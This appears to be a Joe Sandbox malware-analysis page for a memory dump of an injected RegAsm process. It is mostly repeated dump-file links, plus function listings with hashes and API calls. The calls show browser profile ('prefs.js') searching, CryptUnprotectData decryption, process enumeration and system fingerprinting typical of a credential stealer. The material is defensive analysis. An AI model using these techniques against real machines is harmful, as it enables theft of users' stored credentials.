Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 004016D0 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425104,?,00401F2C,?,004251AC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425254), ref: 00401973
StrCmpCA.SHLWAPI(?,004252FC), ref: 00401989
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction ID: ec9ed5b7047c6bda7249a5c0e57325db5d04e86a6b28839c0a373f262e22f3db
Opcode Fuzzy Hash: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction Fuzzy Hash: BD1270719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01191AD8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
